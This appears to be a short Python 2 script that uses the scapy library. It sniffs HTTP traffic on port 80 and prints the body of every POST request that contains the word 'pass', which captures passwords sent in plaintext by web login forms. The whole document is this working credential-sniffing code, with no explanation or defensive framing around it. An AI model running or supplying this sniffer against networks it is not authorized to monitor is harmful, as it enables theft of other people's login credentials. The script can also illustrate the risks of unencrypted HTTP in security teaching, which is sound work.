text: from scapy.all import *
  
  def print_packages(package):
    header = str(package[TCP].payload[0:4])
    if header == 'POST':
      if 'pass' in str(package[TCP].payload).lower():
        print package[TCP].payload
  
  
  sniff(filter='port 80',store=0, prn=print_packages)
  
  